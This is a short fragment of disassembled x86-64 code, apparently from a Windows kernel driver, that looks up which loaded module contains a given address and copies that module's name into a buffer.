je 0x140001ce4
test eax, eax
js 0x140001dd7
test rdi, rdi
je 0x140001dd7
mov r9d, dword [rdi]
xor edx, edx
test r9d, r9d
je 0x140001dd7
lea rcx, [rdi + 0x20]
mov r8, qword [rcx - 8]
cmp rsi, r8
jb 0x140001d87
mov eax, dword [rcx]
add rax, r8
cmp rsi, rax
jb 0x140001d9e
inc edx
add rcx, 0x128
cmp edx, r9d
jb 0x140001d74
jmp 0x140001dd7
mov ebx, 0xc000009a
jmp 0x140001dd7
mov eax, edx
imul r8, rax, 0x128
add r8, 0x30
add r8, rdi
je 0x140001dd2
or rax, 0xffffffffffffffff
inc rax
cmp byte [r8 + rax], 0
jne 0x140001db4
cmp rax, r15
ja 0x140001dd7
mov rdx, r15
mov rcx, rbp
call sub.ntoskrnl.exe_strcpy_s
test eax, eax
je 0x140001dd7
mov ebx, 0xc0000001
mov rbp, qword [rsp + 0x48]
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop r15
pop rdi
pop rsi
ret